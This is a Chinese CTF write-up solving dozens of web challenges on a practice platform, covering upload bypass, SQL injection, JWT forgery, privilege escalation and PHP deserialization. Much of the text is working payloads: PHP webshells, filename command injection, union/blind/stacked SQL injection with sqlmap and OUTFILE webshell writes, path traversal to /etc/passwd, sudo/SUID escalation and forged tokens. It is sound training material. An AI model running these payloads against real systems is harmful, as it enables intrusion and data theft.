BASIC
F12 进入控制台,搜索 flag 即可。
BASIC_1
F12 、Ctrl + Shift + J 、Ctrl + Shift + I 、Ctrl + U 都被禁了,有几种方法:
- url 输入:
edge://settings/content/javascript,进入设置,禁用该网页的 js 功能,然后 f12 。 - bp 抓包,然后发送到 Repeater ,发送后找 flag 。
- chrome 打开,工具栏中有开发者工具。
BASIC_2
F12 没找到啥东西,随便填点提交,网络里面有个包,看下负载多了一个is_admin 字段,数值还是 0 ,找到该字段的值,改成1,提交拿到 flag 。
BASIC_3
进入控制台,源码里面有一个password 参数,这是 JSFuck 代码混淆,拿到控制台执行一下,得到密码,输入提交即可。
BASIC_4
源码有个 js 文件,代码审计一下,重点的return String.fromCharCode.apply(null, a); 这句,会把 _0 转换成字符串QCCTF_VIP_2026,并且后面校验输入的是不是这个,所以只需输入这个字符串就行。
BASIC_5
直接答一千道太麻烦了,看看源代码。发现它直接把和后端的交互写出来了,我们可以构造分数直接为 1000 ,然后发给 /claim ,直接执行。
function encryptData(obj) {
const jsonString = JSON.stringify(obj);
return btoa(unescape(encodeURIComponent(jsonString)));
}
function decryptData(encodedString) {
const jsonString = decodeURIComponent(escape(atob(encodedString)));
return JSON.parse(jsonString);
}
const payload = {score:1000};
fetch('/claim',{
method:'POST',
headers:{
'Content-Type':'application/json'
},
body:JSON.stringify({
data:encryptData(payload)
})
})
.then(res=>res.json())
.then(res=>{
console.log("服务器返回:",res);
if(res.data){
console.log("解密结果:",decryptData(res.data));
}
});
这里由于返回的是经过加密的,所以得加一步解密。
BASIC_6
提示要抓包,然后看响应头,找到 flag 。
BASIC_7
打开是个拼图小游戏,挺简单的直接拼好,题目说了就让看一眼,应该得抓包,bp 抓一下没 flag ,但是看到返回的有一个Location: /vault.php ,试试访问这个,但是直接跳转到了decoy.php ,并且没 flag ,试试用 bp ,在响应包找到 flag 。
BASIC_8
根据提示能想到 /index.phps ,可以看到源码,flag 的逻辑在最后,直接a=QCyYdS 就行。类似的还有config.phps、flag.phps 。
BASIC_9
这提示一看就是robots.txt ,然后进入qcq.php,拿到十六进制,转一下。
BASIC_10
这道题是sitemap.xml ,然后进入wqw.php ,得改成admin 。
BASIC_11
用 dirsearch ,但是没扫出来就离谱,还有robots.txt ,点开才发现被骗了。没办法,只能问问做出来的师傅,是在fl4g.php 。
- 常用格式:
python3 dirsearch.py -u <目标URL> [选项]; -e指定扩展名(如-e php,html,txt);-w指定字典文件,不指定则用默认字典;-x排除状态码(如-x 403,404)可减少无效结果。- 扫描结果会列出存在的路径与状态码,便于发现隐藏文件或后台。
BASIC_12
id 那里可以爆破,从1到1000,121的时候长度不一样,有 flag 。
BASIC_13
还是爆破,密码是 admin123 。
BASIC_14
直接传/admin_secret.txt 肯定是不行的,重点是 fopen 函数,在 Linux 中,每打开一个文件,内核都会分配一个文件描述符 0 -> stdin 标准输入,fd 1 -> stdout 标准输出,2 -> stderr 标准错误,所以从3开始试,5的时候拿到 flag 。
/proc/self/fd/5
EZREQUEST
简单的传参,先 GET 再 POST 就行。
EZREQUEST_1
比上一关多了一些,加上这些就行了。
X-Forwarded-For: 127.0.0.1 User-Agent: QingcenSafe Via: xujinyingcangming.top user=admin
EZPHP
<?php
show_source(__FILE__);
include("flag.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a and $a==0){
if(is_numeric($b)){
exit("nono");
}else{
if($b>2026){
echo $flag;
}
}
}else{
exit("no");
}
?>
简单的特性,a=0a&b=9999c。
EZPHP_1
<?php
show_source(__FILE__);
include("flag.php");
if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no");
$qc = (array)json_decode($_GET['qc'], true);
$key = array_search("QCCTF", $qc);
if($key === 1){
echo $flag;
}else{
exit("no");
}
?>
重点是这两个函数。
json_decode() 可以对JSON字符串转换为PHP变量,默认返回对象,第二个参数为true时返回数组。本题中还有array类型强制转换,变成数组。最外侧用单引号包裹,里面的键值对用双引号包裹,才能正常解析,否则会返回null。 array_search() 是 PHP 里的数组搜索函数,作用是在数组中查找某个值,并返回它的键。第三个参数默认false,如果该参数被设置为true,则函数在数组中搜索数据类型和值都一致的元素。
所以qc=["a","QCCTF"]。
EZPHP_2
<?php
show_source(__FILE__);
include("flag.php");
if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no");
$qc = (array)json_decode($_GET['qc'], true);
if (!isset($qc["n"]) || !is_array($qc["n"]) || empty($qc["n"])) die("no");
if (array_search("QCCTF", $qc) === false) die("no...");
if (array_search("QCyyds", $qc["n"]) === false) die("no...");
foreach ($qc["n"] as $val) {
if ($val === "QCyyds") die("no......");
}
echo $flag;
- qc 存在且不为空。
- 键为 n 的值存在,为数组,不为空。
- qc 有 QCCTF 的值。
- 键为 n 的值有 QCyyds 的值,弱比较。
- 键为 n 的值没有 QCyyds 的值,严格比较。
所以qc={"n":[true,1],"a":"QCCTF"}
EZPHP_3
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['qc'])&&preg_match('/^Welcome to QingCen 2026!$/i', $_GET['qc']) && $_GET['qc'] !== 'Welcome to QingCen 2026!') {
if (intval($_GET['lover']) < 2025 && intval($_GET['lover'] + 3) > 2026) {
if (isset($_POST['Q']) && $_POST['C']) {
$array1 = (string)$_POST['Q'];
$array2 = (string)$_POST['C'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['ZJZ_QingCen.2026']) && $_POST['ZJZ_QingCen.2026'] === "Happy to see you!") {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QingCen可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,ZJZ会瞧不起你的!";
}
- qc 存在,忽略大小写是
Welcome to QingCen 2026!,不等于Welcome to QingCen 2026!。 - lover 转数字小于2025,加 3 大于2026。
- Q C 用 POST 传参,并且 sha1 后严格相等。
ZJZ_QingCen.2026用 POST 传参,严格等于Happy to see you!。
只有最后一步变量名要改一下,原因可以看EZPOP_8那道题,所以qc=welcome to QingCen 2026!&lover=2024,POST 传Q=a&C=a&ZJZ[QingCen.2026=Happy to see you!。
EZMD5
只要让 QC 转 string 后的 md5 值等于给的值就行, QC = QNKCDZO 。
EZMD5_1
要求 a b 不相等,且 a b 的md5 值相等,可以用a=QNKCDZO&b=240610708 。
EZMD5_2
加了限制,前两位不能是 0e ,用数组绕过,a[]=1&b[]=2。
EZMD5_3
上道题还能用,a[]=1&b[]=2 。
EZMD5_4
要求最后六位是 d54e23 ,写个脚本爆破一下。
import hashlib
for i in range(1,1000000000):
print(i)
if hashlib.md5(str(i).encode()).hexdigest()[-6:] == "d54e23":
print("------------------------------------------",i)
break
EZMD5_5
同样的数组绕过,a[]=1&b[]=2。
EZMD5_6
同样的数组绕过,a[]=1&b[]=2。
EZMD5_7
这道题不能用数组绕过了,a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2。
EZFL
打开文件是在 url 里面改 file 参数,试试路径穿越,file=pages/../../../../../etc/passwd 可以,读file=pages/../../../../../flag.txt。
EZFL_1
EZFL_2
EZFL_3
EZFL_4
EZFL_5
EZFL_6
EZFL_7
EZFU
这个没有过滤,直接传一句话木马,拿到地址访问,然后直接a=phpinfo(); 就能看到 flag 。
<?php @eval($_GET['a']);?>
EZFU_1
直接不能选别的类型了,应该是前端有限制,看下源码。
accept="image/jpeg,image/jpg,image/png,image/gif,image/webp" required>
accept 表示前端限制允许选择的文件类型,这里有限制,后面还有 JS 检查,先把 html 的删去,然后禁用 JS 就行了。
或者用 bp ,先上传一个 jpg 的一句话木马,然后抓包改回 php 。
EZFU_2
正常传会报错,文件类型不允许,传 shell.jpg 的也报错,内容也有过滤,用 bp 抓个包,爆破一下后缀。
php php3 php4 php5 php7 php8 phtml pht phtm phar
phtml 可以,拿到路径传参。
EZFU_3
传 shell.php 报错,传 shell.jpg 文件头不对。
| 类型 | 开头十六进制编码 |
|---|---|
| png | 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 |
| jpg | FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C |
| gif | 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33 |
| 文件扩展名 | Mime-Type |
|---|---|
| .js | application/x-javascript |
| .html | text/html |
| .jpg | image/jpeg |
| .png | image/png |
| application/pdf |
在开头加上这个,用 gif 就行,但是说MIME type 有问题,在 HTTP 协议中,使用 Content-Type 字段表示文件的 MIME 类型,当我们上传文件的时候,抓到 HTTP 数据包,由于服务器在检测 Content-Type 类型的时候,取得的变量来自于用户,所以可以用 Burp 抓包,修改这个字段,使其合法,即可绕过限制上传任意文件,然后爆破后缀,拿到路径传参,这里的 php7 php8 还用不了,换一个。
EZFU_4
文件类型、文件头、MIME type 都有检查,爆破一下,
EZFU_5
EZFU_6
EZFU_7
EZFU_8
类型、内容都有检查,不能有 php 标签,大写也不行, 标签可以用 <?= 绕过,后缀爆破了一下都不行,
EZFU_9
进入 login.php ,账号有了,密码提示在 /etc ,点击查看公告,url 多了个doc=notice.txt,试试路径穿越,doc=../../../../../etc/passwd ,找到密码Oh54Ga6otE01 ,直接传一个 bz2 ,没有限制还返回了路径,传一句话木马传参就行。
EZFU_10
弱口令admin/123456 登录,题目提示 include() 解压恢复,由于 PHP 内核内置了 compress.zlib:// 和 compress.bzip2:// 包装器,打开文件时自动检测魔术字节,匹配了就套上去,所以传 gzip 和 bzip2 直接解压并且包含,我们构造<?php system('cat /flag');?> 然后压缩上传就行,注意文件名不要有 php 。
EZFU_11
传的时候没限制,路径的文件名都没改,访问发现404,直接用 bp 一直传,然后访问传参,phpinfo() 没 flag ,用 system('cat flag'); 。
EZFU_12
这个比上一题多了一关,它把路径改了,没办法直接访问,得用个脚本把路径读出来访问。
import requests
url = "http://docker.qingcen.net:43215/"
payload = "<?php echo file_get_contents('/flag');?>"
files = {
"image": (
"1.php",
payload,
"image/png"
)
}
s = requests.Session()
r = s.post(
url,
files=files
)
print("[+] 上传返回:")
print(r.text)
data = r.json()
if data.get("success"):
path = data["file_url"]
print("[+] 文件路径:")
print(path)
target = url.rstrip("/") + "/" + path.lstrip("/")
print("[+] 访问:")
print(target)
r2 = s.get(target)
print("[+] flag:")
print(r2.text)
else:
print("上传失败")
EZFU_13
有关压缩包的,先随便传个 flag.txt 的压缩包,然后下载的时候抓个包,GET /download.php?id=ac3fcdf91a2d4a11&file=flag.txt ,能不能路径穿越呢?试了试发现不行,应该是读取时作了检查,发现不在解压目录,和压缩包文件下载有关的还有一个符号链接读取任意文件,试一下/etc/passwd ,可以读取,下面替换成 flag 就行。这里找了好久,试了一堆也不对,实在没办法了丢给 AI 才发现 flag 在源代码里说了,真是气死我了,用下面的命令就行。
ln -s /C000000quer.txt flag_link zip --symlinks exploit.zip flag_link
然后上传下载就行。
EZFU_14
传一个 jpg 图片,返回了路径和一些图片信息,接着传个 php ,发现直接不能选,应该是前端有限制,F12 看一下说有备份,index.php.bak 这个有,代码审计一下。
<?php
error_reporting(0);
$message = '';
$details = [];
$uploadedName = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['photo']) || $_FILES['photo']['error'] !== UPLOAD_ERR_OK) {
$message = 'Upload failed. Please choose another photo.';
} else {
$uploadedName = $_FILES['photo']['name'];
$extension = strtolower(pathinfo($uploadedName, PATHINFO_EXTENSION));
if ($extension !== 'jpg') {
$message = 'Only .jpg photos can enter the archive.';
} else {
$target = __DIR__ . '/uploads/' . $uploadedName;
if (!move_uploaded_file($_FILES['photo']['tmp_name'], $target)) {
$message = 'The archive could not store this photo.';
} else {
chdir(__DIR__);
$command = 'file uploads/' . $uploadedName . ' 2>&1';
exec($command, $details, $status);
$message = $status === 0
? 'Photo archived. The darkroom report is ready.'
: 'Photo archived, but the darkroom report looks unusual.';
}
}
}
}
?>
要求 POST 提交,并且后缀转小写必须是 jpg ,然后移动图片到 uploads 目录,_DIR_ 表示当前目录。
$command = 'file uploads/' . $uploadedName . ' 2>&1'; exec($command, $details, $status); $message = $status === 0 ? 'Photo archived. The darkroom report is ready.' ? 'Photo archived, but the darkroom report looks unusual.';
这个是关键,它直接把文件名拼接到命令中执行,然后把报错也输出,同时命令执行成功返回Photo archived. The darkroom report is ready. ,失败返回Photo archived, but the darkroom report looks unusual.。所以我们可以在文件名中拼接别的语句,然后在 exec 时命令执行,用a$(whoami).jpg 试试,可以执行,接着读 flag ,试试 env ,但是这里直接 a$(env).jpg 有空格会被当成 file 的参数,换成a$(env|base64).jpg 可以,但是返回的是FLAG=no_FLAG ,接着读,ls 看一下,发现还有一个文件,读一下a$(cat pigeon_cat.php).jpg 拿到 flag 。
EZSQL
2026001 可以正常回显,先判断一下什么闭合方式,可以用 BP 爆破一下。
2026001 and 1=1 -- 2026001 and 1=2 -- 2026001' and 1=1 -- 2026001' and 1=2 -- 2026001" and 1=1 -- 2026001" and 1=2 -- 2026001) and 1=1 -- 2026001) and 1=2 -- 2026001') and 1=1 -- 2026001') and 1=2 -- 2026001") and 1=1 -- 2026001") and 1=2 -- 2026001)) and 1=1 -- 2026001)) and 1=2 -- 2026001')) and 1=1 -- 2026001')) and 1=2 -- 2026001")) and 1=1 -- 2026001")) and 1=2 -- 2026001))) and 1=1 -- 2026001))) and 1=2 -- 2026001'))) and 1=1 -- 2026001'))) and 1=2 -- 2026001"))) and 1=1 -- 2026001"))) and 1=2 --
回显长度不一样的就是,判断出来时数字型。
判断列数,是 4 列。
2026001 order by 3# 2026001 order by 4# 2026001 order by 5#
判断回显,都是回显位。
-1 union select 1,2,3,4#
查库名,uesr 。
-1 union select 1,2,3,group_concat(schema_name) from information_schema.schemata#
查表名,flag 和 students 。
-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'user'#
查字段,id 和 secret 。
-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema = 'user' and table_name = 'flag'#
读取 flag 。
-1 union select 1,2,group_concat(id),group_concat(secret) from user.flag#
当然用 Sqlmap 也是可以的。
python sqlmap.py -u "http://docker.qingcen.net:36906/?id=1" --batch union 或者 时间盲注都可以 python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent --dbs 查库名 python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent -D user --tables 查表名 python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent -D user -T flag --columns 查字段 python sqlmap.py -u "http://docker.qingcen.net:36906/?id=999999" --random-agent -D user -T flag --dump 查 flag
EZSQL_1
登录的,用万能密码。admin / 1' or 1 = 1# 。
EZSQL_2
能登录,但是没返回 flag ,得在 username 或者 password 进行注入,这里用 username 。
admin' order by 4# admin' order by 5# 4 列 -1' union select 1,2,3,4# 2 是回显位 -1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata# information_schema user -1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='user' # flag -1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = 'user' and table_name = 'flag'# id,name,passwd,secret -1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#
EZSQL_3
闭合方式改了,bp 看一下,是 ') 闭合,只用改一下前面的闭合方式。
-1') union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#
EZSQL_4
看下闭合," 闭合。
-1" union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#
EZSQL_5
") 闭合。
-1") union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#
EZSQL_6
有过滤,# -- 。
-1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag where 1=1 or '
或者可以用 /**/ 绕过。
username: -1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag where 1=1 /* password: */ or '
EZSQL_7
过滤空格了,用以下绕过。
-1'/**/union/**/select/**/1,group_concat(id,name,passwd,secret),3,4/**/from/**/user.flag# -1'%0cunion%0cselect%0c1,group_concat(id,name,passwd,secret),3,4%0cfrom%0cuser.flag%23 -1'union(select(1),group_concat(id,name,passwd,secret),(3),(4)from(user.flag))#
EZSQL_8
过滤空格,但是注入发现把 union select from flag 过滤了,双写绕过。
-1'/**/uunionnion/**/sselectelect/**/1,group_concat(id,name,passwd,secret),3,4/**/frofromm/**/user.flflagag#
EZSQL_9
数字型,直接注入。
-1 union select 1,2,3,group_concat(id,flag) from user.flag#
EZSQL_10
' 闭合。
-1' union select 1,2,3,group_concat(id,flag) from user.flag#
EZSQL_11
还是' 闭合,但是有过滤,测试出来是 select ,双写也过不去,试试堆叠注入。
1';do sleep(3)# 1';show databases# 1';show tables# 1';show columns from flag# 1';handler flag open;handler flag read first;handler flag close#
EZSQL_12
' 闭合,有 3 列,无回显位,但是刚才查列数的时候有报错,尝试报错注入。
1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# information_schema user 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='user'),0x7e),1)# flag users 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='user' and table_name='flag'),0x7e),1)# id flag 1' and updatexml(1,concat(0x7e,substr((select group_concat(id,flag) from user.flag),1,30),0x7e),1)# 1' and updatexml(1,concat(0x7e,substr((select group_concat(id,flag) from user.flag),31,60),0x7e),1)#
EZSQL_13
没有返回内容,只有是否执行成功,用布尔盲注。
import requests
import time
url = "http://docker.qingcen.net:43961/"
data= ""
for i in range(1,100):
min = 32
max = 128
while (min < max) :
mid = (min + max) // 2
# 爆破数据库名
#payload = "?id=1' and if(ascii(substr(database(),{},1))>{},1,0)%23".format(i, mid)
# 爆破表名
#payload = "?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='user'),{},1))>{},1,0)%23".format(i, mid)
# 爆破字段
#payload = "?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='user' and table_name='flag'),{},1))>{},1,0)%23".format(i, mid)
# 爆破数据
payload = "?id=1'and if(ascii(substr((select group_concat(id,flag) from user.flag),{},1))>{},1,0)%23".format(i, mid)
urls = url+payload
response = requests.get(url=urls)
if "查询成功" in response.text:
min = mid+1
else:
max = mid
mid = (min + max) // 2
data += chr(mid)
print(data)
EZSQL_14
什么结果都没有,考虑时间盲注,用 sqlmap 。
python sqlmap.py -u "http://docker.qingcen.net:48967/?id=1" --batch python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent --dbs 查库名 user information_schema python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent -D user --tables 查表名 flag employees python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent -D user -T flag --columns 查字段 id flag python sqlmap.py -u "http://docker.qingcen.net:48967/?id=999999" --random-agent -D user -T flag --dump 查 flag
EZSQL_15
长度一样并且全失败了,找不到闭合方式,可能是宽字节注入。
admin%df' or 1=1%23 -1%df' union select 1,2,3,4%23 -1%df' union select 1,group_concat(id,secret),3,4 from user.flag%23
EZSQL_16
用 # 报错了,是 SQLite 的。
1' order by 5--+ -1' union select 1,2,3,4--+
试一下能不能拿到数据库文件。
-1' union select 1,group_concat(file),3,4 from pragma_database_list--+ /var/www/html/data.db
访问下载,然后用 SQLite 直接就能看到。
或者不用这个。
-1' union select 1,group_concat(name),3,4 from sqlite_master where type='table'--+
表 flag
-1' union select 1,group_concat(sql),3,4 from sqlite_master where type='table' and name='flag'--+
-1' union select 1,group_concat(name),3,4 from pragma_table_info('flag')--
字段 id name passwd secret
-1' union select 1,group_concat(id||name||passwd||secret),3,4 from flag--+
EZSQL_17
还是 SQLite ,但是没回显,布尔盲注。
python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" --flush-session python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" --tables employees flag python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" -T flag --columns id flag python sqlmap.py -u "http://docker.qingcen.net:38040/?id=1" -T flag --dump
EZSQL_18
有登录有注册,想到二次注入。
注册:admin' # 登录:admin' #
EZSQL_19
上一关的不行了,笔记没东西,联合查询注入。
admin' order by 3# -1' union select 1,2# -1' union select 1,group_concat(schema_name) from information_schema.schemata # information_schema,user -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='user'# user_notes,users,flags -1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='user' and table_name = 'flags'# flag -1' union select 1,group_concat(flag) from user.flags #
EZSQL_20
' 闭合。
2026001' order by 3# 有过滤,测试出来是 , 可以用 join 绕过。 -1' union select * from (select 1)a join (select 2)b join (select 3)c# -1' union select * from (select 1)a join (select group_concat(schema_name) from information_schema.schemata )b join (select 3)c# information_schema,ezsql20 -1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema = 'ezsql20')b join (select 3)c# flag,notices -1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_schema = 'ezsql20' and table_name = 'flag')b join (select 3)c# id,secret,note -1' union select * from (select 1)a join (select group_concat(secret) from ezsql20.flag )b join (select 3)c#
EZSQL_21
' 闭合。
EXP-2026001' order by 3# -1' union select 1,2,3# -1' union select 1,2,group_concat(schema_name) from information_schema.schemata# information_schema,ezsql20 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql20'# shipments -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql20' and table_name='shipments'# tracking_no,recipient,latest_status -1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql20.shipments# 没 flag
联合查询应该是不行了,看源码说 flag 在 /conquer_secret.txt ,尝试文件读取。
-1' union select 1,2,load_file('/conquer_secret.txt')#
EZSQL_22
上一关的 payload 直接说检测到非法函数,有过滤,可以尝试写入别的文件,先试一下上一关的数据库结构,改了。
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata# information_schema,ezsql21 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql21'# shipments -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql21' and table_name='shipments'# tracking_no,recipient,latest_status -1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql21.shipments# 没 flag
看下权限,为空,表示没有任何限制。
-1' UNION SELECT 1,2,@@secure_file_priv#
然后写入。
-1' union select '<?php @readfile("/conquer_secret.txt");?>',2,3 into outfile '/var/www/html/1.php'#
EZSQL_23
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata# information_schema,ezsql22 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql22'# shipments -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql22' and table_name='shipments'# tracking_no,recipient,latest_status -1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql22.shipments# 没 flag
上一关的 payload 说有非法关键字,用 dumpfile 换一下,只能导出第一行数据,并不常用,通常写入第二条数据时出错,但第二条内容已被写入文件。
-1' union select '<?php @readfile("/conquer_secret.txt");?>',2,3 into dumpfile '/var/www/html/1.php'#
EZPrivEsc1
蚁剑连接,进入虚拟终端,先信息收集一下。
(www-data:/var/www/html) $ sudo -l
User www-data may run the following commands on a034b4ee73e9:
(ALL) NOPASSWD: /usr/bin/find
sudo 配置错误,用 find 提权。
sudo find -exec cat /root/flag.txt \;
EZPrivEsc2
根据提示的,看一下 SUID 。
find / -user root -perm -4000 -type f -print 2>/dev/null /usr/bin/mount /usr/bin/find /usr/bin/gpasswd /usr/bin/su /usr/bin/chsh /usr/bin/newgrp /usr/bin/chfn /usr/bin/umount /usr/bin/passwd
还是用 find 提权。
find -exec cat /root/flag.txt \;
EZPrivEsc3
还是 sudo 配置错误。
(www-data:/var/www/html) $ sudo -l
User www-data may run the following commands on ff0d637c4c40:
(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py
看下权限还是 755 ,没有 vim ,用别的改一下然后提权。
echo 'print(open(\"/root/flag.txt\").read())' > /opt/scripts/backup.py sudo /usr/bin/python3 /opt/scripts/backup.py
EZPrivEsc4
看下 SUID ,有 tar 。
tar -cf /tmp/flag.tar /root/flag.txt tar -xO -f /tmp/flag.tar root/flag.txt
EZPrivEsc5
题目提示 Capabilities ,先找一下。
/usr/bin/python3.13 cap_dac_read_search=ep
直接提权。
(www-data:/var/www/html) $ /usr/bin/python3.13 'print(open(\"/root/flag.txt\").read())' /bin/sh: 1: /usr/bin/python3.13: Operation not permitted (www-data:/var/www/html) $ ls -al /usr/bin/python3.13 -rwxr-xr-x 1 root root 6812336 Jul 15 20:25 /usr/bin/python3.13
这条路过不去呀,看看别的东西,在 env 中找到了 flag 。
EZPrivEsc6
代码提示通过/api/note/{id} 方式获得笔记,爆破一下,为 726 的时候拿到 flag。
EZPrivEsc7
注册一个账号,根据提示抓一下更改信息的包,只有三个字段,GET 请求一下 /api/profile 还有别的字段,加到更改的 POST 包,但是页面还是 user,尝试退出重新登录,已经是 admin ,访问 /admin 拿到 flag。
EZPrivEsc8
注册用户登录,请求/api/user 返回了7个字段,有个 token ,拿到登录页面可以直接用 token 登录,那就是去找 admin 的 token。观察返回的字段,尝试了一下 POST 发包,不行,字段里面还有 id,尝试用 ?id= 去读,爆破一下,211 的时候找到 toekn,登录访问就行。
EZPrivEsc9
注册登录,看 cookie 有四个,分别是 auth_token、role、session、uesr_id,根据提示,选择把 auth_token 删除,role 用 admin 的 base64 格式,再访问。
EZPrivEsc10
EZPrivEsc11
EZPrivEsc12
EZPrivEsc13
EZJWT
HS256 签名,试试爆破密钥,这里用的是 jwt_tool 。
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw -C -d rockyou.txt
结果是 secret ,然后改成 admin ,再访问。
EZJWT_1
RS256 签名,还泄露了公钥,试试混淆攻击,可以登录,接着改成 admin ,再访问。
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.F6b5fGPpMcQgH70-Xv_RMwWSczMvZVPxdE8KKkQ2p_VqdkqFcS5shV9BGGQGC7Nu4c3tgV0kTrhVL40VvNzt_PjJUUZ2x7zA6h_jnDjRcMugcujtOmhIXARK2rVPWiN2dYPc69W78fgop6gWfUYcmShCTIZcZKWnKQdd6N6h-lw -X k -pk pubkey.pem -I -pc username -pv admin -pc role -pv admin
EZJWT_2
这道题有 kid ,可以尝试注入,常用的有/dev/null ,这个是 linux 的黑洞文件,读出来的都是空字符串,然后空密钥签名。
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.Z_o4MZ1tNK0QiwL9796EZFfl_qCgk5tsp2U5xyCjNMo -I -hc kid -hv "../../../../../../../dev/null" -pc role -pv admin -pc username -pv admin -S hs256 -p ""
这道题其实还有一个解,/keys/key1 直接就能拿到密钥,然后伪造。
EZJWT_3
还是 kid ,但是上一题的不行了,试试 SQL 注入,这个可以。
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Im1haW4ta2V5In0.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.anb993R-z77NqeNWoonCWs9JF8HcF0ka2keD07ukh9c -I -hc kid -hv "' union select 'secret' -- " -pc role -pv admin -pc username -pv admin -S hs256 -p "secret"
EZPOP
$flag = file_get_contents("/flag");
class ShowFlag {
public $show = false;
public function __destruct() {
if ($this->show) {
echo $GLOBALS['flag'];
}
}
}
highlight_file(FILE);
if (isset($_GET['data'])) {
unserialize($_GET['data']);
}
?>
令$this->show为true即可。
POC
<?php
class ShowFlag {
public $show = true;
}
echo urlencode(serialize(new ShowFlag()));
?>
EZPOP_1
<?php
class ShowFlag {
public $show = false;
public $code = "";
public function __destruct() {
if ($this->show) {
eval($this->code);
}
}
}
if (isset($_COOKIE["data"])) {
unserialize($_COOKIE["data"]);
}
highlight_file(__FILE__);
可以令$this->show为true,然后进入eval($this->code),这时去改变$this->code的值进行命令执行。
POC
<?php
class ShowFlag
{
public $show = true;
public $code = "system('cat /flag');";
}
echo serialize(new ShowFlag());
EZPOP_2
<?php
$flag = file_get_contents("/flag");
class Fracture {
public $delegate;
public function __destruct() {
if ($this->delegate) {
$this->delegate->disperse();
}
}
}
class Specter {
public $latch = false;
public function __toString() {
if ($this->latch) {
return $GLOBALS['flag'];
}
return "no";
}
}
class Thunk {
public $operand;
public function __invoke() {
echo $this->operand;
}
}
class Conduit {
public $handler;
public function disperse() {
$f = $this->handler;
return $f();
}
}
highlight_file(__FILE__);
if (isset($_COOKIE['data'])) {
unserialize($_COOKIE['data']);
}
?>
